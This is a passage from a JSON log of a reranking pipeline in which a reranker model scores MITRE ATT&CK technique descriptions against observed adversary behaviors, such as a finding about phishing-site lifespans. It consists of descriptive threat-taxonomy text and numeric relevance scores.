abuse peer-to-peer (P2P) and blockchain-oriented infrastructure to implement routing between a decentralized network of peers.\nTactics: command and control\nPlatforms: ESXi, Linux, Network Devices, Windows, macOS" + }, + { + "id": "T1590.005", + "text": "ATT&CK technique: T1590.005 IP Addresses\nDescription: Adversaries may gather the victim's IP addresses that can be used during targeting. Public IP addresses may be allocated to organizations by block, or a range of sequential addresses. Information about assigned IP addresses may include a variety of details, such as which IP addresses are in use. IP addresses may also enable an adversary to derive other details about a victim, such as organizational size, physical location(s), Internet service provider, and or where/how their publicly-facing infrastructure is hosted. Adversaries may gather this information in various ways, such as direct collection actions via Active Scanning or Phishing for Information. Information about assigned IP addresses may also be exposed to adversaries via online or other accessible data sets (ex: Search Open Technical Databases). Gathering this information may reveal opportunities for other forms of reconnaissance (ex: Active Scanning or Search Open Websites/Domains), establishing operational resources (ex: Acquire Infrastructure or Compromise Infrastructure), and/or initial access (ex: External Remote Services).\nTactics: reconnaissance\nPlatforms: PRE" + }, + { + "id": "T1592.002", + "text": "ATT&CK technique: T1592.002 Software\nDescription: Adversaries may gather information about the victim's host software that can be used during targeting. Information about installed software may include a variety of details such as types and versions on specific hosts, as well as the presence of additional components that might be indicative of added defensive protections (ex: antivirus, SIEMs, etc.). Adversaries may gather this information in various ways, such as direct collection actions via Active Scanning (ex: listening ports, server banners, user agent strings) or Phishing for Information. Adversaries may also compromise sites then include malicious content designed to collect host information from visitors. Information about the installed software may also be exposed to adversaries via online or other accessible data sets (ex: job postings, network maps, assessment reports, resumes, or purchase invoices). Additionally, adversaries may analyze metadata from victim-owned files (e.g., PDFs, DOCs, images, and sound files hosted on victim-owned websites) to extract information about the software and hardware used to create or process those files. Metadata may reveal software versions, configurations, or timestamps that indicate outdated or vulnerable software. This information can be cross-referenced with known CVEs to identify potential vectors for exploitation in future operations. Gathering this information may reveal opportunities for other forms of reconnaissance (ex: Search Open Websites/Domains or Search Open Technical Databases), establishing operational resources (ex: Develop Capabilities or Obtain Capabilities), and/or for initial access (ex: Supply Chain Compromise or External Remote Services).\nTactics: reconnaissance\nPlatforms: PRE" + }, + { + "id": "T1584.008", + "text": "ATT&CK technique: T1584.008 Network Devices\nDescription: Adversaries may compromise third-party network devices that can be used during targeting. Network devices, such as small office/home office (SOHO) routers, may be compromised where the adversary's ultimate goal is not Initial Access to that environment, but rather to leverage these devices to support additional targeting. Once an adversary has control, compromised network devices can be used to launch additional operations, such as hosting payloads for Phishing campaigns (i.e., Link Target) or enabling the required access to execute Content Injection operations. Adversaries may also be able to harvest reusable credentials (i.e., Valid Accounts) from compromised network devices. Adversaries often target Internet-facing edge devices and related network appliances that specifically do not support robust host-based defenses. Compromised network devices may be used to support subsequent Command and Control activity, such as Hide Infrastructure through an established Proxy and/or Botnet network.\nTactics: resource development\nPlatforms: PRE" + }, + { + "id": "T1001.003", + "text": "ATT&CK technique: T1001.003 Protocol or Service Impersonation\nDescription: Adversaries may impersonate legitimate protocols or web service traffic to disguise command and control activity and thwart analysis efforts. By impersonating legitimate protocols or web services, adversaries can make their command and control traffic blend in with legitimate network traffic. Adversaries may impersonate a fake SSL/TLS handshake to make it look like subsequent traffic is SSL/TLS encrypted, potentially interfering with some security tooling, or to make the traffic look like it is related with a trusted entity. Adversaries may also leverage legitimate protocols to impersonate expected web traffic or trusted services. For example, adversaries may manipulate HTTP headers, URI endpoints, SSL certificates, and transmitted data to disguise C2 communications or mimic legitimate services such as Gmail, Google Drive, and Yahoo Messenger.\nTactics: command and control\nPlatforms: ESXi, Linux, Windows, macOS" + }, + { + "id": "T1597.001", + "text": "ATT&CK technique: T1597.001 Threat Intel Vendors\nDescription: Adversaries may search private data from threat intelligence vendors for information that can be used during targeting. Threat intelligence vendors may offer paid feeds or portals that offer more data than what is publicly reported. Although sensitive details (such as customer names and other identifiers) may be redacted, this information may contain trends regarding breaches such as target industries, attribution claims, and successful TTPs/countermeasures. Adversaries may search in private threat intelligence vendor data to gather actionable information. If a threat actor is searching for information on their own activities, that falls under Search Threat Vendor Data. Information reported by vendors may also reveal opportunities other forms of reconnaissance (ex: Search Open Websites/Domains), establishing operational resources (ex: Develop Capabilities or Obtain Capabilities), and/or initial access (ex: Exploit Public-Facing Application or External Remote Services).\nTactics: reconnaissance\nPlatforms: PRE" + }, + { + "id": "T1608.006", + "text": "ATT&CK technique: T1608.006 SEO Poisoning\nDescription: Adversaries may poison mechanisms that influence search engine optimization (SEO) to further lure staged capabilities towards potential victims. Search engines typically display results to users based on purchased ads as well as the site’s ranking/score/reputation calculated by their web crawlers and algorithms. To help facilitate Drive-by Compromise, adversaries may stage content that explicitly manipulates SEO rankings in order to promote sites hosting their malicious payloads (such as Drive-by Target) within search engines. Poisoning SEO rankings may involve various tricks, such as stuffing keywords (including in the form of hidden text) into compromised sites. These keywords could be related to the interests/browsing habits of the intended victim(s) as well as more broad, seasonably popular topics (e.g. elections, trending news). In addition to internet search engines (such as Google), adversaries may also aim to manipulate specific in-site searches for developer platforms (such as GitHub) to deceive users towards Supply Chain Compromise lures. In-site searches will rank search results according to their own algorithms and metrics such as popularity which may be targeted and gamed by malicious actors. Adversaries may also purchase or plant incoming links to staged capabilities in order to boost the site’s calculated relevance and reputation. SEO poisoning may also be combined with evasive redirects and other cloaking mechanisms (such as measuring mouse movements or serving content based on browser user agents, user language/localization settings, or HTTP headers) in order to feed SEO inputs while avoiding scrutiny from defenders.\nTactics: resource development\nPlatforms: PRE" + }, + { + "id": "T1027.005", + "text": "ATT&CK technique: T1027.005 Indicator Removal from Tools\nDescription: Adversaries may remove indicators from tools if they believe their malicious tool was detected, quarantined, or otherwise curtailed. They can modify the tool by removing the indicator and using the updated version that is no longer detected by the target's defensive systems or subsequent targets that may use similar systems. A good example of this is when malware is detected with a file signature and quarantined by anti-virus software. An adversary who can determine that the malware was quarantined because of its file signature may modify the file to explicitly avoid that signature, and then re-use the malware.\nTactics: stealth\nPlatforms: Linux, Windows, macOS" + }, + { + "id": "T1588.001", + "text": "ATT&CK technique: T1588.001 Malware\nDescription: Adversaries may buy, steal, or download malware that can be used during targeting. Malicious software can include payloads, droppers, post-compromise tools, backdoors, packers, and C2 protocols. Adversaries may acquire malware to support their operations, obtaining a means for maintaining control of remote machines, evading defenses, and executing post-compromise behaviors. In addition to downloading free malware from the internet, adversaries may purchase these capabilities from third-party entities. Third-party entities can include technology companies that specialize in malware development, criminal marketplaces (including Malware-as-a-Service, or MaaS), or from individuals. In addition to purchasing malware, adversaries may steal and repurpose malware from third-party entities (including other adversaries).\nTactics: resource development\nPlatforms: PRE" + }, + { + "id": "T1592.004", + "text": "ATT&CK technique: T1592.004 Client Configurations\nDescription: Adversaries may gather information about the victim's client configurations that can be used during targeting. Information about client configurations may include a variety of details and settings, including operating system/version, virtualization, architecture (ex: 32 or 64 bit), language, and/or time zone. Adversaries may gather this information in various ways, such as direct collection actions via Active Scanning (ex: listening ports, server banners, user agent strings) or Phishing for Information. Adversaries may also compromise sites then include malicious content designed to collect host information from visitors. Information about the client configurations may also be exposed to adversaries via online or other accessible data sets (ex: job postings, network maps, assessment reports, resumes, or purchase invoices). Gathering this information may reveal opportunities for other forms of reconnaissance (ex: Search Open Websites/Domains or Search Open Technical Databases), establishing operational resources (ex: Develop Capabilities or Obtain Capabilities), and/or initial access (ex: Supply Chain Compromise or External Remote Services).\nTactics: reconnaissance\nPlatforms: PRE" + }, + { + "id": "T1102.002", + "text": "ATT&CK technique: T1102.002 Bidirectional Communication\nDescription: Adversaries may use an existing, legitimate external Web service as a means for sending commands to and receiving output from a compromised system over the Web service channel. Compromised systems may leverage popular websites and social media to host command and control (C2) instructions. Those infected systems can then send the output from those commands back over that Web service channel. The return traffic may occur in a variety of ways, depending on the Web service being utilized. For example, the return traffic may take the form of the compromised system posting a comment on a forum, issuing a pull request to development project, updating a document hosted on a Web service, or by sending a Tweet. Popular websites and social media acting as a mechanism for C2 may give a significant amount of cover due to the likelihood that hosts within a network are already communicating with them prior to a compromise. Using common services, such as those offered by Google or Twitter, makes it easier for adversaries to hide in expected noise. Web service providers commonly use SSL/TLS encryption, giving adversaries an added level of protection.\nTactics: command and control\nPlatforms: ESXi, Linux, Windows, macOS" + }, + { + "id": "T1496.002", + "text": "ATT&CK technique: T1496.002 Bandwidth Hijacking\nDescription: Adversaries may leverage the network bandwidth resources of co-opted systems to complete resource-intensive tasks, which may impact system and/or hosted service availability. Adversaries may also use malware that leverages a system's network bandwidth as part of a botnet in order to facilitate Network Denial of Service campaigns and/or to seed malicious torrents. Alternatively, they may engage in proxyjacking by selling use of the victims' network bandwidth and IP address to proxyware services. Finally, they may engage in internet-wide scanning in order to identify additional targets for compromise. In addition to incurring potential financial costs or availability disruptions, this technique may cause reputational damage if a victim’s bandwidth is used for illegal activities.\nTactics: impact\nPlatforms: Containers, IaaS, Linux, Windows, macOS" + }, + { + "id": "T1588.002", + "text": "ATT&CK technique: T1588.002 Tool\nDescription: Adversaries may buy, steal, or download software tools that can be used during targeting. Tools can be open or closed source, free or commercial. A tool can be used for malicious purposes by an adversary, but (unlike malware) were not intended to be used for those purposes (ex: PsExec). Adversaries may obtain tools to support their operations, including to support execution of post-compromise behaviors. Tools may also be leveraged for testing – for example, evaluating malware against commercial antivirus or endpoint detection and response (EDR) applications. Tool acquisition may involve the procurement of commercial software licenses, including for red teaming tools such as Cobalt Strike. In addition to freely downloading or purchasing software, adversaries may steal software and/or software licenses from third-party entities (including other adversaries). Threat actors may also crack trial versions of software.\nTactics: resource development\nPlatforms: PRE" + }, + { + "id": "T1592.001", + "text": "ATT&CK technique: T1592.001 Hardware\nDescription: Adversaries may gather information about the victim's host hardware that can be used during targeting. Information about hardware infrastructure may include a variety of details such as types and versions on specific hosts, as well as the presence of additional components that might be indicative of added defensive protections (ex: card/biometric readers, dedicated encryption hardware, etc.). Adversaries may gather this information in various ways, such as direct collection actions via Active Scanning (ex: hostnames, server banners, user agent strings) or Phishing for Information. Adversaries may also compromise sites then include malicious content designed to collect host information from visitors. Information about the hardware infrastructure may also be exposed to adversaries via online or other accessible data sets (ex: job postings, network maps, assessment reports, resumes, or purchase invoices). Gathering this information may reveal opportunities for other forms of reconnaissance (ex: Search Open Websites/Domains or Search Open Technical Databases), establishing operational resources (ex: Develop Capabilities or Obtain Capabilities), and/or initial access (ex: Compromise Hardware Supply Chain or Hardware Additions).\nTactics: reconnaissance\nPlatforms: PRE" + }, + { + "id": "T1102.003", + "text": "ATT&CK technique: T1102.003 One-Way Communication\nDescription: Adversaries may use an existing, legitimate external Web service as a means for sending commands to a compromised system without receiving return output over the Web service channel. Compromised systems may leverage popular websites and social media to host command and control (C2) instructions. Those infected systems may opt to send the output from those commands back over a different C2 channel, including to another distinct Web service. Alternatively, compromised systems may return no output at all in cases where adversaries want to send instructions to systems and do not want a response. Popular websites and social media acting as a mechanism for C2 may give a significant amount of cover due to the likelihood that hosts within a network are already communicating with them prior to a compromise. Using common services, such as those offered by Google or Twitter, makes it easier for adversaries to hide in expected noise. Web service providers commonly use SSL/TLS encryption, giving adversaries an added level of protection.\nTactics: command and control\nPlatforms: ESXi, Linux, Windows, macOS" + }, + { + "id": "T1583.001", + "text": "ATT&CK technique: T1583.001 Domains\nDescription: Adversaries may acquire domains that can be used during targeting. Domain names are the human readable names used to represent one or more IP addresses. They can be purchased or, in some cases, acquired for free. Adversaries may use acquired domains for a variety of purposes, including for Phishing, Drive-by Compromise, and Command and Control. Adversaries may choose domains that are similar to legitimate domains, including through use of homoglyphs or use of a different top-level domain (TLD). Typosquatting may be used to aid in delivery of payloads via Drive-by Compromise. Adversaries may also use internationalized domain names (IDNs) and different character sets (e.g. Cyrillic, Greek, etc.) to execute \"IDN homograph attacks,\" creating visually similar lookalike domains used to deliver malware to victim machines. Different URIs/URLs may also be dynamically generated to uniquely serve malicious content to victims (including one-time, single use domain names). Adversaries may also acquire and repurpose expired domains, which may be potentially already allowlisted/trusted by defenders based on an existing reputation/history. Domain registrars each maintain a publicly viewable database that displays contact information for every registered domain. Private WHOIS services display alternative information, such as their own company data, rather than the owner of the domain. Adversaries may use such private WHOIS services to obscure information about who owns a purchased domain. Adversaries may further interrupt efforts to track their infrastructure by using varied registration information and purchasing domains with different domain registrars. In addition to legitimately purchasing a domain, an adversary may register a new domain in a compromised environment. For example, in AWS environments, adversaries may leverage the Route53 domain service to register a domain and create hosted zones pointing to resources of the threat actor’s choosing.\nTactics: resource development\nPlatforms: PRE" + }, + { + "id": "T1597", + "text": "ATT&CK technique: T1597 Search Closed Sources\nDescription: Adversaries may search and gather information about victims from closed (e.g., paid, private, or otherwise not freely available) sources that can be used during targeting. Information about victims may be available for purchase from reputable private sources and databases, such as paid subscriptions to feeds of technical/threat intelligence data. Adversaries may also purchase information from less-reputable sources such as dark web or cybercrime blackmarkets. Adversaries may search in different closed databases depending on what information they seek to gather. Information from these sources may reveal opportunities for other forms of reconnaissance (ex: Phishing for Information or Search Open Websites/Domains), establishing operational resources (ex: Develop Capabilities or Obtain Capabilities), and/or initial access (ex: External Remote Services or Valid Accounts).\nTactics: reconnaissance\nPlatforms: PRE" + }, + { + "id": "T1588.004", + "text": "ATT&CK technique: T1588.004 Digital Certificates\nDescription: Adversaries may buy and/or steal SSL/TLS certificates that can be used during targeting. SSL/TLS certificates are designed to instill trust. They include information about the key, information about its owner's identity, and the digital signature of an entity that has verified the certificate's contents are correct. If the signature is valid, and the person examining the certificate trusts the signer, then they know they can use that key to communicate with its owner. Adversaries may purchase or steal SSL/TLS certificates to further their operations, such as encrypting C2 traffic (ex: Asymmetric Cryptography with Web Protocols) or even enabling Adversary-in-the-Middle if the certificate is trusted or otherwise added to the root of trust (i.e. Install Root Certificate). The purchase of digital certificates may be done using a front organization or using information stolen from a previously compromised entity that allows the adversary to validate to a certificate provider as that entity. Adversaries may also steal certificate materials directly from a compromised third-party, including from certificate authorities. Adversaries may register or hijack domains that they will later purchase an SSL/TLS certificate for. Certificate authorities exist that allow adversaries to acquire SSL/TLS certificates, such as domain validation certificates, for free. After obtaining a digital certificate, an adversary may then install that certificate (see Install Digital Certificate) on infrastructure under their control.\nTactics: resource development\nPlatforms: PRE" + }, + { + "id": "T1608.002", + "text": "ATT&CK technique: T1608.002 Upload Tool\nDescription: Adversaries may upload tools to third-party or adversary controlled infrastructure to make it accessible during targeting. Tools can be open or closed source, free or commercial. Tools can be used for malicious purposes by an adversary, but (unlike malware) were not intended to be used for those purposes (ex: PsExec). Adversaries may upload tools to support their operations, such as making a tool available to a victim network to enable Ingress Tool Transfer by placing it on an Internet accessible web server. Tools may be placed on infrastructure that was previously purchased/rented by the adversary (Acquire Infrastructure) or was otherwise compromised by them (Compromise Infrastructure). Tools can also be staged on web services, such as an adversary controlled GitHub repo, or on Platform-as-a-Service offerings that enable users to easily provision applications. Adversaries can avoid the need to upload a tool by having compromised victim machines download the tool directly from a third-party hosting location (ex: a non-adversary controlled GitHub repo), including the original hosting site of the tool.\nTactics: resource development\nPlatforms: PRE" + }, + { + "id": "T1584.006", + "text": "ATT&CK technique: T1584.006 Web Services\nDescription: Adversaries may compromise access to third-party web services that can be used during targeting. A variety of popular websites exist for legitimate users to register for web-based services, such as GitHub, Twitter, Dropbox, Google, SendGrid, etc. Adversaries may try to take ownership of a legitimate user's access to a web service and use that web service as infrastructure in support of cyber operations. Such web services can be abused during later stages of the adversary lifecycle, such as during Command and Control (Web Service), Exfiltration Over Web Service, or Phishing. Using common services, such as those offered by Google or Twitter, makes it easier for adversaries to hide in expected noise. By utilizing a web service, particularly when access is stolen from legitimate users, adversaries can make it difficult to physically tie back operations to them. Additionally, leveraging compromised web-based email services may allow adversaries to leverage the trust associated with legitimate domains.\nTactics: resource development\nPlatforms: PRE" + }, + { + "id": "T1591.001", + "text": "ATT&CK technique: T1591.001 Determine Physical Locations\nDescription: Adversaries may gather the victim's physical location(s) that can be used during targeting. Information about physical locations of a target organization may include a variety of details, including where key resources and infrastructure are housed. Physical locations may also indicate what legal jurisdiction and/or authorities the victim operates within. Adversaries may gather this information in various ways, such as direct elicitation via Phishing for Information. Physical locations of a target organization may also be exposed to adversaries via online or other accessible data sets (ex: Search Victim-Owned Websites or Social Media). Gathering this information may reveal opportunities for other forms of reconnaissance (ex: Phishing for Information or Search Open Websites/Domains), establishing operational resources (ex: Develop Capabilities or Obtain Capabilities), and/or initial access (ex: Phishing or Hardware Additions).\nTactics: reconnaissance\nPlatforms: PRE" + }, + { + "id": "T1685", + "text": "ATT&CK technique: T1685 Disable or Modify Tools\nDescription: Adversaries may disable, degrade, or tamper with security tools or applications (e.g., endpoint detection and response (EDR) tools, intrusion detection systems (IDS), antivirus, logging agents, sensors, etc.) to impair or reduce visibility of defensive capabilities. This may include stopping specific services, killing processes, modifying or deleting tool configuration files and Registry keys, or preventing tools from updating. This may also include impairing defenses more broadly by disrupting preventative, detection, and response mechanisms across host, network, and cloud environments. In addition to directly targeting tools, adversaries may block or manipulate indicators and telemetry used for detection. This includes maliciously disabling or redirecting sensors such as Event Tracing for Windows (ETW), modifying event log configurations (e.g., redirecting Security logs), or interfering with logging pipelines and forwarding mechanisms (e.g., SIEM ingestion). More advanced techniques include leveraging legitimate drivers or debugging mechanisms to render tools non-functional, bypassing anti-tampering protections, and targeting specific defenses such as Sysmon or cloud monitoring agents. Adversaries may also disrupt broader defensive operations, including update mechanisms, logging infrastructure (e.g., syslog), or event aggregation, further degrading an organization’s ability to detect and respond to malicious activity.\nTactics: defense impairment\nPlatforms: Containers, ESXi, IaaS, Linux, Network Devices, Windows, macOS" + }, + { + "id": "T1036.012", + "text": "ATT&CK technique: T1036.012 Browser Fingerprint\nDescription: Adversaries may attempt to blend in with legitimate traffic by spoofing browser and system attributes like operating system, system language, platform, user-agent string, resolution, time zone, etc. The HTTP User-Agent request header is a string that lets servers and network peers identify the application, operating system, vendor, and/or version of the requesting user agent. Adversaries may gather this information through System Information Discovery or by users navigating to adversary-controlled websites, and then use that information to craft their web traffic to evade defenses.\nTactics: stealth\nPlatforms: Linux, Windows, macOS" + }, + { + "id": "T1682", + "text": "ATT&CK technique: T1682 Query Public AI Services\nDescription: Adversaries may query publicly accessible artificial intelligence (AI) services, such as large language models (LLMs), to support targeting and operations. In addition to searching websites or databases directly (i.e., Search Open Websites/Domains), adversaries may use AI services to synthesize, aggregate, and analyze publicly available information at scale. This may include identifying individuals or organizations to target, researching organizational structures and personnel, identifying technologies used by target organizations, researching business relationships to develop plausible pretexts for Social Engineering approaches, identifying contact information for use in Phishing or Phishing for Information, or gathering derogatory or sensitive information about individuals that may be used for extortion or coercion. Information gathered through AI services may be leveraged for other behaviors, such as establishing operational resources (i.e., Generate Content or Establish Accounts. For obtaining access to AI tools and services, see Artificial Intelligence.\nTactics: reconnaissance\nPlatforms: PRE" + } + ], + "instruction": "Determine whether the ATT&CK technique directly describes the observed adversary behavior." + }, + "raw_response": { + "model": "Qwen/Qwen3-Reranker-4B", + "scores": [ + { + "item_id": "T1583.001", + "score": 0.2451171875, + "rank": 0 + }, + { + "item_id": "T1590.005", + "score": 0.1923828125, + "rank": 1 + }, + { + "item_id": "T1665", + "score": 0.173828125, + "rank": 2 + }, + { + "item_id": "T1593", + "score": 0.1640625, + "rank": 3 + }, + { + "item_id": "T1027.001", + "score": 0.1005859375, + "rank": 4 + }, + { + "item_id": "T1583", + "score": 0.06005859375, + "rank": 5 + }, + { + "item_id": "T1596.001", + "score": 0.06005859375, + "rank": 6 + }, + { + "item_id": "T1590", + "score": 0.047607421875, + "rank": 7 + }, + { + "item_id": "T1596.005", + "score": 0.0419921875, + "rank": 8 + }, + { + "item_id": "T1595.001", + "score": 0.0419921875, + "rank": 9 + }, + { + "item_id": "T1102.001", + "score": 0.0311279296875, + "rank": 10 + }, + { + "item_id": "T1594", + "score": 0.029296875, + "rank": 11 + }, + { + "item_id": "T1596.002", + "score": 0.023193359375, + "rank": 12 + }, + { + "item_id": "T1584", + "score": 0.023193359375, + "rank": 13 + }, + { + "item_id": "T1608.004", + "score": 0.0177001953125, + "rank": 14 + }, + { + "item_id": "T1189", + "score": 0.01519775390625, + "rank": 15 + }, + { + "item_id": "T1608.006", + "score": 0.01519775390625, + "rank": 16 + }, + { + "item_id": "T1588.001", + "score": 0.0142822265625, + "rank": 17 + }, + { + "item_id": "T1566", + "score": 0.0118408203125, + "rank": 18 + }, + { + "item_id": "T1587.001", + "score": 0.0118408203125, + "rank": 19 + }, + { + "item_id": "T1102.003", + "score": 0.01043701171875, + "rank": 20 + }, + { + "item_id": "T1583.008", + "score": 0.00982666015625, + "rank": 21 + }, + { + "item_id": "T1681", + "score": 0.007171630859375, + "rank": 22 + }, + { + "item_id": "T1593.002", + "score": 0.007171630859375, + "rank": 23 + }, + { + "item_id": "T1592", + "score": 0.006744384765625, + "rank": 24 + }, + { + "item_id": "T1608", + "score": 0.006317138671875, + "rank": 25 + }, + { + "item_id": "T1608.005", + "score": 0.006317138671875, + "rank": 26 + }, + { + "item_id": "T1102.002", + "score": 0.006317138671875, + "rank": 27 + }, + { + "item_id": "T1597.001", + "score": 0.005584716796875, + "rank": 28 + }, + { + "item_id": "T1588.002", + "score": 0.005584716796875, + "rank": 29 + }, + { + "item_id": "T1584.006", + "score": 0.005584716796875, + "rank": 30 + }, + { + "item_id": "T1596.004", + "score": 0.0052490234375, + "rank": 31 + }, + { + "item_id": "T1685", + "score": 0.0052490234375, + "rank": 32 + }, + { + "item_id": "T1557", + "score": 0.00494384765625, + "rank": 33 + }, + { + "item_id": "T1595.003", + "score": 0.00494384765625, + "rank": 34 + }, + { + "item_id": "T1597", + "score": 0.00494384765625, + "rank": 35 + }, + { + "item_id": "T1036", + "score": 0.00408935546875, + "rank": 36 + }, + { + "item_id": "T1027.005", + "score": 0.00408935546875, + "rank": 37 + }, + { + "item_id": "T1608.001", + "score": 0.00360107421875, + "rank": 38 + }, + { + "item_id": "T1597.002", + "score": 0.00360107421875, + "rank": 39 + }, + { + "item_id": "T1102", + "score": 0.00360107421875, + "rank": 40 + }, + { + "item_id": "T1589", + "score": 0.003387451171875, + "rank": 41 + }, + { + "item_id": "T1071", + "score": 0.003387451171875, + "rank": 42 + }, + { + "item_id": "T1608.002", + "score": 0.002899169921875, + "rank": 43 + }, + { + "item_id": "T1590.003", + "score": 0.0025634765625, + "rank": 44 + }, + { + "item_id": "T1059", + "score": 0.002471923828125, + "rank": 45 + }, + { + "item_id": "T1592.004", + "score": 0.0023345947265625, + "rank": 46 + }, + { + "item_id": "T1496.002", + "score": 0.0023345947265625, + "rank": 47 + }, + { + "item_id": "T1592.002", + "score": 0.00225830078125, + "rank": 48 + }, + { + "item_id": "T1592.001", + "score": 0.00225830078125, + "rank": 49 + }, + { + "item_id": "T1598.003", + "score": 0.0018157958984375, + "rank": 50 + }, + { + "item_id": "T1593.001", + "score": 0.0018157958984375, + "rank": 51 + }, + { + "item_id": "T1491", + "score": 0.0017547607421875, + "rank": 52 + }, + { + "item_id": "T1659", + "score": 0.0017547607421875, + "rank": 53 + }, + { + "item_id": "T1090.003", + "score": 0.00170135498046875, + "rank": 54 + }, + { + "item_id": "T1190", + "score": 0.0016021728515625, + "rank": 55 + }, + { + "item_id": "T1596.003", + "score": 0.0016021728515625, + "rank": 56 + }, + { + "item_id": "T1499", + "score": 0.00154876708984375, + "rank": 57 + }, + { + "item_id": "T1614", + "score": 0.00154876708984375, + "rank": 58 + }, + { + "item_id": "T1027", + "score": 0.00141143798828125, + "rank": 59 + }, + { + "item_id": "T1036.012", + "score": 0.0013275146484375, + "rank": 60 + }, + { + "item_id": "T1584.008", + "score": 0.00128936767578125, + "rank": 61 + }, + { + "item_id": "T1027.006", + "score": 0.00116729736328125, + "rank": 62 + }, + { + "item_id": "T1573", + "score": 0.00113677978515625, + "rank": 63 + }, + { + "item_id": "T1105", + "score": 0.00113677978515625, + "rank": 64 + }, + { + "item_id": "T1588.004", + "score": 0.00099945068359375, + "rank": 65 + }, + { + "item_id": "T1204.005", + "score": 0.000885009765625, + "rank": 66 + }, + { + "item_id": "T1001.003", + "score": 0.000885009765625, + "rank": 67 + }, + { + "item_id": "T1591.001", + "score": 0.000885009765625, + "rank": 68 + }, + { + "item_id": "T1518", + "score": 0.00075531005859375, + "rank": 69 + }, + { + "item_id": "T1573.002", + "score": 0.0006256103515625, + "rank": 70 + }, + { + "item_id": "T1571", + "score": 0.00058746337890625, + "rank": 71 + }, + { + "item_id": "T1682", + "score": 0.0003452301025390625, + "rank": 72 + }, + { + "item_id": "T1559", + "score": 0.0003147125244140625, + "rank": 73 + }, + { + "item_id": "T1486", + "score": 0.00014019012451171875, + "rank": 74 + } + ], + "query_id": "behavior", + "usage": { + "input_tokens": 28182 + } + }, + "evidence_sha256": "cba4b59c6f772980e86be80fa6469929525c0251cc29139580e250a75fcbc5c0" + }, + { + "stage": "rerank", + "function": "score", + "requested_model": "Qwen/Qwen3-Reranker-4B", + "runtime_model": "Qwen/Qwen3-Reranker-4B", + "request_id": null, + "credits_debited": null, + "rate_book_version": null, + "execution_identity_sha256": null, + "latency_ms": 940.0, + "request_payload": { + "query": { + "id": "behavior", + "text": "Observed adversary behavior: they found that standard phishing sites had a lifespan of just under 24 hours whereas MitM phishing sites lasted longer, and 15% had a lifespan greater than 20 days" + }, + "items": [ + { + "id": "T1566", + "text": "ATT&CK technique: T1566 Phishing\nDescription: Adversaries may send phishing messages to gain access to victim systems. All forms of phishing are electronically delivered social engineering. Phishing can be targeted, known as spearphishing. In spearphishing, a specific individual, company, or industry will be targeted by the adversary. More generally, adversaries can conduct non-targeted phishing, such as in mass malware spam campaigns. Adversaries may send victims emails containing malicious attachments or links, typically to execute malicious code on victim systems. Phishing may also be conducted via third-party services, like social media platforms. Phishing may also involve social engineering techniques, such as posing as a trusted source, as well as evasive techniques such as removing or manipulating emails or metadata/headers from compromised accounts being abused to send messages (e.g., Email Hiding Rules). Another way to accomplish this is by Email Spoofing the identity of the sender, which can be used to fool both the human recipient as well as automated security tools, or by including the intended target as a party to an existing email thread that includes malicious files or links (i.e., \"thread hijacking\"). Victims may also receive phishing messages that instruct them to call a phone number where they are directed to visit a malicious URL, download malware, or install adversary-accessible remote management tools onto their computer (i.e., User Execution).\nTactics: initial access\nPlatforms: Identity Provider, Linux, Office Suite, SaaS, Windows, macOS\nLabeled report example: The final phishing page spoofs the Microsoft Office 365 login page, as shown in Figures 11 and 12." + }, + { + "id": "T1204", + "text": "ATT&CK technique: T1204 User Execution\nDescription: An adversary may rely upon specific actions by a user in order to gain execution. Users may be subjected to social engineering to get them to execute malicious code by, for example, opening a malicious document file or link. These user actions will typically be observed as follow-on behavior from forms of Phishing. While User Execution frequently occurs shortly after Initial Access it may occur at other phases of an intrusion, such as when an adversary places a file in a shared directory or on a user's desktop hoping that a user will click on it. This activity may also be seen shortly after Internal Spearphishing. Adversaries may also deceive users into performing actions such as: * Enabling Remote Access Tools, allowing direct control of the system to the adversary * Running malicious JavaScript in their browser, allowing adversaries to Steal Web Session Cookies * Downloading and executing malware for User Execution * Coerceing users to copy, paste, and execute malicious code manually For example, tech support scams can be facilitated through Phishing, vishing, or various forms of user interaction. Adversaries can use a combination of these methods, such as spoofing and promoting toll-free numbers or call centers that are used to direct victims to malicious websites, to deliver and execute payloads containing malware or Remote Access Tools.\nTactics: execution\nPlatforms: Containers, IaaS, Linux, Windows, macOS\nLabeled report example: Click the URL link." + }, + { + "id": "T1557", + "text": "ATT&CK technique: T1557 Adversary-in-the-Middle\nDescription: Adversaries may attempt to position themselves between two or more networked devices using an adversary-in-the-middle (AiTM) technique to support follow-on behaviors such as Network Sniffing, Transmitted Data Manipulation, or replay attacks (Exploitation for Credential Access). By abusing features of common networking protocols that can determine the flow of network traffic (e.g. ARP, DNS, LLMNR, etc.), adversaries may force a device to communicate through an adversary controlled system so they can collect information or perform additional actions. For example, adversaries may manipulate victim DNS settings to enable other malicious activities such as preventing/redirecting users from accessing legitimate sites and/or pushing additional malware. Adversaries may also manipulate DNS and leverage their position in order to intercept user credentials, including access tokens (Steal Application Access Token) and session cookies (Steal Web Session Cookie). Downgrade Attacks can also be used to establish an AiTM position, such as by negotiating a less secure, deprecated, or weaker version of communication protocol (SSL/TLS) or encryption algorithm. Adversaries may also leverage the AiTM position to attempt to monitor and/or modify traffic, such as in Transmitted Data Manipulation. Adversaries can setup a position similar to AiTM to prevent traffic from flowing to the appropriate destination, potentially to impair defenses and/or in support of a Network Denial of Service.\nTactics: collection, credential access\nPlatforms: Linux, Network Devices, Windows, macOS\nLabeled report example: If macros are enabled, it will install and run The Trick, a trojan that intercepts and logs banking website visits to steal credentials." + }, + { + "id": "T1586", + "text": "ATT&CK technique: T1586 Compromise Accounts\nDescription: Adversaries may compromise accounts with services that can be used during targeting. For operations incorporating social engineering, the utilization of an online persona may be important. Rather than creating and cultivating accounts (i.e. Establish Accounts), adversaries may compromise existing accounts. Utilizing an existing persona may engender a level of trust in a potential victim if they have a relationship, or knowledge of, the compromised persona. A variety of methods exist for compromising accounts, such as gathering credentials via Phishing for Information, purchasing credentials from third-party sites, brute forcing credentials (ex: password reuse from breach credential dumps), or paying employees, suppliers or business partners for access to credentials. Prior to compromising accounts, adversaries may conduct Reconnaissance to inform decisions about which accounts to compromise to further their operation. Personas may exist on a single site or across multiple sites (ex: Facebook, LinkedIn, Twitter, Google, etc.). Compromised accounts may require additional development, this could include filling out or modifying profile information, further developing social networks, or incorporating photos. Adversaries may directly leverage compromised email accounts for Phishing for Information or Phishing.\nTactics: resource development\nPlatforms: PRE\nLabeled report example: * GC threat actors used either compromised or spoofed email addresses." + }, + { + "id": "T1589", + "text": "ATT&CK technique: T1589 Gather Victim Identity Information\nDescription: Adversaries may gather information about the victim's identity that can be used during targeting. Information about identities may include a 